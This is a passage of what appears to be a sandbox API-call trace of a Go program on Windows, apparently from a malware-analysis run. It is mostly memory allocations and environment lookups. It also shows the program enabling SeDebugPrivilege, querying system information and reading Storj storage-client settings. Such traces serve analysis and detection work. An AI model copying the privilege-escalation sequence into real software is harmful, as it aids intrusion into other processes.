0xc0005e8000 [0176.163] VirtualAlloc (lpAddress=0xc0005ea000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005ea000 [0176.163] VirtualAlloc (lpAddress=0xc0005ec000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005ec000 [0176.164] VirtualAlloc (lpAddress=0xc0005ee000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005ee000 [0176.165] VirtualAlloc (lpAddress=0xc0005f0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005f0000 [0176.166] VirtualAlloc (lpAddress=0xc0005f2000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005f2000 [0176.166] VirtualAlloc (lpAddress=0xc0005f6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005f6000 [0176.167] VirtualAlloc (lpAddress=0xc0005f8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005f8000 [0176.168] VirtualAlloc (lpAddress=0xc0005fa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005fa000 [0176.168] VirtualAlloc (lpAddress=0xc0005fc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005fc000 [0176.169] VirtualAlloc (lpAddress=0xc0005fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0005fe000 [0176.173] VirtualAlloc (lpAddress=0xc000600000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000600000 [0176.175] VirtualAlloc (lpAddress=0xc000602000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000602000 [0176.175] VirtualAlloc (lpAddress=0xc000606000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000606000 [0176.176] VirtualAlloc (lpAddress=0xc000608000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000608000 [0176.178] VirtualAlloc (lpAddress=0xc00060a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00060a000 [0176.178] VirtualAlloc (lpAddress=0xc00060c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00060c000 [0176.179] VirtualAlloc (lpAddress=0xc00060e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00060e000 [0176.180] VirtualAlloc (lpAddress=0xc000610000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000610000 [0176.180] VirtualAlloc (lpAddress=0xc000612000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000612000 [0176.181] VirtualAlloc (lpAddress=0xc000614000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000614000 [0176.182] VirtualAlloc (lpAddress=0xc000616000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000616000 [0176.182] VirtualAlloc (lpAddress=0xc000618000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000618000 [0176.182] VirtualAlloc (lpAddress=0xc00061a000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00061a000 [0176.183] VirtualAlloc (lpAddress=0xc00061e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00061e000 [0176.183] VirtualAlloc (lpAddress=0xc000620000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000620000 [0176.184] VirtualAlloc (lpAddress=0xc000622000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000622000 [0176.185] VirtualAlloc (lpAddress=0xc000624000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000624000 [0176.209] SetEvent (hEvent=0x114) returned 1 [0176.209] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0176.210] VirtualAlloc (lpAddress=0xc000626000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000626000 [0176.211] VirtualAlloc (lpAddress=0xc000628000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000628000 [0176.212] VirtualAlloc (lpAddress=0xc00062a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00062a000 [0176.212] VirtualAlloc (lpAddress=0xc00062c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00062c000 [0176.213] VirtualAlloc (lpAddress=0xc00062e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00062e000 [0176.214] VirtualAlloc (lpAddress=0xc000630000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000630000 [0176.215] VirtualAlloc (lpAddress=0xc000632000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000632000 [0176.216] VirtualAlloc (lpAddress=0xc000634000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000634000 [0176.219] VirtualAlloc (lpAddress=0xc000636000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000636000 [0176.220] VirtualAlloc (lpAddress=0xc000638000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000638000 [0176.221] SetEvent (hEvent=0x114) returned 1 [0176.221] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0176.249] VirtualAlloc (lpAddress=0xc00050e000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00050e000 [0176.253] VirtualAlloc (lpAddress=0xc000512000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000512000 [0176.255] VirtualAlloc (lpAddress=0xc000514000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000514000 [0176.256] VirtualAlloc (lpAddress=0xc000516000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000516000 [0176.258] VirtualAlloc (lpAddress=0xc000518000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000518000 [0176.259] VirtualAlloc (lpAddress=0xc00051a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00051a000 [0176.260] VirtualAlloc (lpAddress=0xc00051c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00051c000 [0176.262] VirtualAlloc (lpAddress=0xc00051e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00051e000 [0176.262] VirtualAlloc (lpAddress=0xc000520000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000520000 [0176.264] VirtualAlloc (lpAddress=0xc000522000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000522000 [0176.265] VirtualAlloc (lpAddress=0xc000524000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000524000 [0176.269] VirtualAlloc (lpAddress=0xc000526000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000526000 [0176.269] VirtualAlloc (lpAddress=0xc000528000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000528000 [0176.271] VirtualAlloc (lpAddress=0xc00052a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00052a000 [0176.272] VirtualAlloc (lpAddress=0xc00052c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00052c000 [0176.273] VirtualAlloc (lpAddress=0xc00052e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00052e000 [0176.274] VirtualAlloc (lpAddress=0xc000530000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000530000 [0176.276] VirtualAlloc (lpAddress=0xc000532000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000532000 [0176.277] VirtualAlloc (lpAddress=0xc000534000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000534000 [0176.278] VirtualAlloc (lpAddress=0xc000536000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000536000 [0176.279] VirtualAlloc (lpAddress=0xc000538000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000538000 [0176.280] VirtualAlloc (lpAddress=0xc00053a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00053a000 [0176.280] VirtualAlloc (lpAddress=0xc00053c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00053c000 [0176.281] VirtualAlloc (lpAddress=0xc00053e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00053e000 [0176.510] VirtualAlloc (lpAddress=0xc000540000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000540000 [0176.511] VirtualAlloc (lpAddress=0xc000542000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000542000 [0176.512] VirtualAlloc (lpAddress=0xc000544000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000544000 [0176.514] VirtualAlloc (lpAddress=0xc000546000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000546000 [0176.514] VirtualAlloc (lpAddress=0xc000548000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000548000 [0176.519] VirtualAlloc (lpAddress=0xc00054a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00054a000 [0176.520] VirtualAlloc (lpAddress=0xc00054c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00054c000 [0176.520] VirtualAlloc (lpAddress=0xc00054e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00054e000 [0176.521] VirtualAlloc (lpAddress=0xc000550000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000550000 [0176.522] VirtualAlloc (lpAddress=0xc000552000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000552000 [0176.523] VirtualAlloc (lpAddress=0xc000554000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000554000 [0176.524] VirtualAlloc (lpAddress=0xc000556000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000556000 [0176.524] VirtualAlloc (lpAddress=0xc000558000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000558000 [0176.525] VirtualAlloc (lpAddress=0xc00055a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00055a000 [0176.529] VirtualAlloc (lpAddress=0xc00055c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00055c000 [0176.529] VirtualAlloc (lpAddress=0xc00055e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00055e000 [0176.531] VirtualAlloc (lpAddress=0xc000560000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000560000 [0176.534] VirtualAlloc (lpAddress=0xc000566000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000566000 [0176.535] VirtualAlloc (lpAddress=0xc000568000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000568000 [0176.536] VirtualAlloc (lpAddress=0xc00056a000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00056a000 [0176.537] VirtualAlloc (lpAddress=0xc000570000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000570000 [0176.538] VirtualAlloc (lpAddress=0xc000576000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000576000 [0176.538] VirtualAlloc (lpAddress=0xc00057a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00057a000 [0176.539] VirtualAlloc (lpAddress=0xc00057c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00057c000 [0176.540] VirtualAlloc (lpAddress=0xc00057e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00057e000 [0176.545] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetCurrentProcessId") returned 0x7fffcb464830 [0176.545] GetCurrentProcessId () returned 0x1698 [0176.554] VirtualAlloc (lpAddress=0xc00063a000, dwSize=0x80000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00063a000 [0176.745] VirtualAlloc (lpAddress=0xc00048c000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00048c000 [0176.747] VirtualAlloc (lpAddress=0xc00049c000, dwSize=0x12000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00049c000 [0176.750] VirtualAlloc (lpAddress=0xc0004ae000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004ae000 [0176.751] VirtualAlloc (lpAddress=0xc0004b0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004b0000 [0176.752] VirtualAlloc (lpAddress=0xc0004b2000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004b2000 [0176.753] VirtualAlloc (lpAddress=0xc0004bc000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004bc000 [0176.759] VirtualAlloc (lpAddress=0xc0004c6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004c6000 [0176.761] VirtualAlloc (lpAddress=0xc0004c8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004c8000 [0176.762] VirtualAlloc (lpAddress=0xc0004ca000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004ca000 [0176.763] VirtualAlloc (lpAddress=0xc0004cc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004cc000 [0176.768] VirtualAlloc (lpAddress=0xc0004d0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004d0000 [0179.688] SetEvent (hEvent=0x104) returned 1 [0179.689] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0179.695] VirtualAlloc (lpAddress=0xc0004d2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004d2000 [0179.696] VirtualAlloc (lpAddress=0xc0004d4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004d4000 [0179.699] VirtualAlloc (lpAddress=0xc0004d6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004d6000 [0179.704] CreateIoCompletionPort (FileHandle=0xffffffffffffffff, ExistingCompletionPort=0x0, CompletionKey=0x0, NumberOfConcurrentThreads=0xffffffff) returned 0x170 [0179.704] SetEvent (hEvent=0x104) returned 1 [0179.704] VirtualAlloc (lpAddress=0xc0004d8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004d8000 [0179.706] VirtualAlloc (lpAddress=0xc0004dc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004dc000 [0179.712] VirtualAlloc (lpAddress=0xc0004de000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004de000 [0179.712] GetEnvironmentVariableW (in: lpName="GO_LOG", lpBuffer=0xc0004de000, nSize=0x64 | out: lpBuffer="") returned 0x0 [0179.713] GetEnvironmentVariableW (in: lpName="GO_LOG_DEFAULT_LEVEL", lpBuffer=0xc0004de0d0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0179.713] GetEnvironmentVariableW (in: lpName="GO_LOG_REPORT_RULES", lpBuffer=0xc0004de1a0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0179.713] GetEnvironmentVariableW (in: lpName="GO_LOG_TIME_FMT", lpBuffer=0xc0004de270, nSize=0x64 | out: lpBuffer="") returned 0x0 [0179.714] VirtualAlloc (lpAddress=0xc0004e0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004e0000 [0179.728] VirtualAlloc (lpAddress=0xc0004e2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004e2000 [0179.730] VirtualAlloc (lpAddress=0xc0004e4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004e4000 [0179.733] VirtualAlloc (lpAddress=0xc0004e6000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004e6000 [0179.734] VirtualAlloc (lpAddress=0xc0004ea000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004ea000 [0179.734] VirtualAlloc (lpAddress=0xc0004ee000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004ee000 [0179.735] GetEnvironmentVariableW (in: lpName="DEBUG", lpBuffer=0xc0004de340, nSize=0x64 | out: lpBuffer="") returned 0x0 [0179.739] VirtualAlloc (lpAddress=0xc0004f0000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004f0000 [0179.744] VirtualAlloc (lpAddress=0xc0004f2000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004f2000 [0179.744] VirtualAlloc (lpAddress=0xc0004f4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004f4000 [0179.754] LoadLibraryExW (lpLibFileName="bcryptprimitives.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffca480000 [0179.754] GetProcAddress (hModule=0x7fffca480000, lpProcName="ProcessPrng") returned 0x7fffca494a90 [0179.754] ProcessPrng () returned 0x1 [0179.759] VirtualAlloc (lpAddress=0xc0004f6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004f6000 [0179.759] VirtualAlloc (lpAddress=0xc0004f8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004f8000 [0179.760] VirtualAlloc (lpAddress=0xc0004fa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004fa000 [0179.765] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7fffcb440000 [0179.765] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetStdHandle") returned 0x7fffcb45d430 [0179.765] GetStdHandle (nStdHandle=0xfffffff6) returned 0x50 [0179.765] GetStdHandle (nStdHandle=0xfffffff5) returned 0x54 [0179.765] GetStdHandle (nStdHandle=0xfffffff4) returned 0x58 [0179.771] VirtualAlloc (lpAddress=0xc0004fc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004fc000 [0179.774] VirtualAlloc (lpAddress=0xc0004fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004fe000 [0179.824] SetEvent (hEvent=0x114) returned 1 [0179.824] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0180.036] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetCurrentDirectoryW") returned 0x7fffcb45fed0 [0180.036] GetCurrentDirectoryW (in: nBufferLength=0x12c, lpBuffer=0xc0006b9b90 | out: lpBuffer="C:\\Users\\OqXZRaykm\\Desktop") returned 0x1a [0180.042] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7fffcb440000 [0180.043] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetSystemTimes") returned 0x7fffcb45fc30 [0180.043] GetSystemTimes (in: lpIdleTime=0xc000187c08, lpKernelTime=0xc000187c20, lpUserTime=0xc000187c28 | out: lpIdleTime=0xc000187c08, lpKernelTime=0xc000187c20, lpUserTime=0xc000187c28) returned 1 [0180.043] VirtualAlloc (lpAddress=0xc000700000, dwSize=0x1a000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000700000 [0180.045] GetProcAddress (hModule=0x7fffcb440000, lpProcName="AddDllDirectory") returned 0x7fffca81c9b0 [0180.046] GetProcAddress (hModule=0x7fffcb440000, lpProcName="LoadLibraryExW") returned 0x7fffcb45ad60 [0180.046] LoadLibraryExW (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcca30000 [0180.046] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtQuerySystemInformation") returned 0x7fffccacb440 [0180.046] NtQuerySystemInformation (in: SystemInformationClass=0x8, SystemInformation=0xc000700000, Length=0x18180, ResultLength=0xc000187c40 | out: SystemInformation=0xc000700000, ResultLength=0xc000187c40*=0xc0) returned 0x0 [0180.048] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetNativeSystemInfo") returned 0x7fffcb460620 [0180.048] GetNativeSystemInfo (in: lpSystemInfo=0xc000097ad0 | out: lpSystemInfo=0xc000097ad0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0180.048] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetCurrentProcess") returned 0x7fffcb464820 [0180.048] GetCurrentProcess () returned 0xffffffffffffffff [0180.049] LoadLibraryExW (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcb600000 [0180.325] SetEvent (hEvent=0x174) returned 1 [0180.325] GetProcAddress (hModule=0x7fffcb600000, lpProcName="OpenProcessToken") returned 0x7fffcb6167b0 [0180.325] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0xc0006b9db0 | out: TokenHandle=0xc0006b9db0*=0x184) returned 1 [0180.325] LoadLibraryExW (lpLibFileName="advapi32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcb600000 [0180.325] GetProcAddress (hModule=0x7fffcb600000, lpProcName="LookupPrivilegeValueW") returned 0x7fffcb60f7f0 [0180.326] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0xc000187c84 | out: lpLuid=0xc000187c84*(LowPart=0x14, HighPart=0)) returned 1 [0180.384] SetEvent (hEvent=0x174) returned 1 [0180.384] GetProcAddress (hModule=0x7fffcb600000, lpProcName="AdjustTokenPrivileges") returned 0x7fffcb617620 [0180.384] AdjustTokenPrivileges (in: TokenHandle=0x184, DisableAllPrivileges=0, NewState=0xc000187c80*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x10, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0180.385] CloseHandle (hObject=0x184) returned 1 [0180.388] VirtualAlloc (lpAddress=0xc00071a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00071a000 [0180.393] VirtualAlloc (lpAddress=0xc00071c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00071c000 [0180.395] VirtualAlloc (lpAddress=0xc00071e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00071e000 [0180.397] GetEnvironmentVariableW (in: lpName="RUNEWIDTH_EASTASIAN", lpBuffer=0xc0004de5b0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0180.397] GetEnvironmentVariableW (in: lpName="TCELL_MINIMIZE", lpBuffer=0xc0004de680, nSize=0x64 | out: lpBuffer="") returned 0x0 [0180.397] VirtualAlloc (lpAddress=0xc000800000, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0xc000800000 [0180.398] VirtualAlloc (lpAddress=0x0, dwSize=0x114d0, flAllocationType=0x3000, flProtect=0x4) returned 0x4cf80000 [0180.399] VirtualAlloc (lpAddress=0xc000780000, dwSize=0x88000, flAllocationType=0x1000, flProtect=0x4) returned 0x0 [0180.399] VirtualAlloc (lpAddress=0xc000780000, dwSize=0x88000, flAllocationType=0x1000, flProtect=0x4) returned 0x0 [0180.399] VirtualAlloc (lpAddress=0xc000780000, dwSize=0x44000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000780000 [0180.400] VirtualAlloc (lpAddress=0xc0007c4000, dwSize=0x44000, flAllocationType=0x1000, flProtect=0x4) returned 0x0 [0180.400] VirtualAlloc (lpAddress=0xc0007c4000, dwSize=0x22000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0007c4000 [0180.401] VirtualAlloc (lpAddress=0xc0007e6000, dwSize=0x22000, flAllocationType=0x1000, flProtect=0x4) returned 0x0 [0180.401] VirtualAlloc (lpAddress=0xc0007e6000, dwSize=0x11000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0007e6000 [0180.401] VirtualAlloc (lpAddress=0xc0007f7000, dwSize=0x11000, flAllocationType=0x1000, flProtect=0x4) returned 0x0 [0180.401] VirtualAlloc (lpAddress=0xc0007f7000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0007f7000 [0180.402] VirtualAlloc (lpAddress=0xc0007ff000, dwSize=0x9000, flAllocationType=0x1000, flProtect=0x4) returned 0x0 [0180.402] VirtualAlloc (lpAddress=0xc0007ff000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x0 [0180.402] VirtualAlloc (lpAddress=0xc0007ff000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x0 [0180.402] VirtualAlloc (lpAddress=0xc0007ff000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0007ff000 [0180.402] VirtualAlloc (lpAddress=0xc000800000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000800000 [0180.432] SetEvent (hEvent=0x114) returned 1 [0180.432] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0180.543] VirtualAlloc (lpAddress=0xc000720000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000720000 [0180.577] VirtualAlloc (lpAddress=0xc000722000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000722000 [0180.581] GetEnvironmentVariableW (in: lpName="GODEBUG", lpBuffer=0xc0004de750, nSize=0x64 | out: lpBuffer="") returned 0x0 [0180.582] VirtualAlloc (lpAddress=0xc000724000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000724000 [0180.583] VirtualAlloc (lpAddress=0xc000726000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000726000 [0180.591] VirtualAlloc (lpAddress=0xc000728000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000728000 [0180.592] VirtualAlloc (lpAddress=0xc00072a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00072a000 [0180.594] GetEnvironmentVariableW (in: lpName="GRPC_BINARY_LOG_FILTER", lpBuffer=0xc0004de820, nSize=0x64 | out: lpBuffer="") returned 0x0 [0180.595] VirtualAlloc (lpAddress=0xc00072c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00072c000 [0180.798] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x5ff638, ulCount=0x10, ulNumEntriesRemoved=0x5ff608, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x5ff638, ulNumEntriesRemoved=0x5ff608) returned 0 [0180.799] SetEvent (hEvent=0x114) returned 1 [0180.799] VirtualAlloc (lpAddress=0xc00072e000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00072e000 [0180.812] GetEnvironmentVariableW (in: lpName="STORJ_DISABLE_SIGNING", lpBuffer=0xc0004de8f0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0180.818] GetEnvironmentVariableW (in: lpName="STORJ_RPC_SET_LINGER_0", lpBuffer=0xc0004de9c0, nSize=0x64 | out: lpBuffer="") returned 0x0 [0180.825] GetEnvironmentVariableW (in: lpName="STORJ_QUIC_ROLLOUT_PERCENT", lpBuffer=0xc0004dea90, nSize=0x64 | out: lpBuffer="") returned 0x0 [0180.833] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0xe10000 [0180.834] VirtualAlloc (lpAddress=0xc000736000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000736000 [0180.835] VirtualAlloc (lpAddress=0xc000738000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000738000 [0180.836] GetEnvironmentVariableW (in: lpName="STORJ_NOISE_DISABLED_EXPERIMENTAL", lpBuffer=0xc0004deb60, nSize=0x64 | out: lpBuffer="") returned 0x0 [0181.065] SetEvent (hEvent=0x1ac) returned 1 [0181.065] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0181.173] VirtualAlloc (lpAddress=0xc00073a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00073a000 [0181.177] SetEvent (hEvent=0x114) returned 1 [0181.177] GetEnvironmentVariableW (in: lpName="STORJ_EXP_UPLINK_DOWNLOAD_PREFETCH_FORCE_READS", lpBuffer=0xc0004dec30, nSize=0x64 | out: lpBuffer="") returned 0x0 [0181.177] GetEnvironmentVariableW (in: lpName="STORJ_EXP_UPLINK_DOWNLOAD_PREFETCH_BYTES_REMAINING", lpBuffer=0xc0004ded00, nSize=0x64 | out: lpBuffer="") returned 0x0 [0181.183] GetEnvironmentVariableW (in: lpName="DEBUG_HTTP2_GOROUTINES", 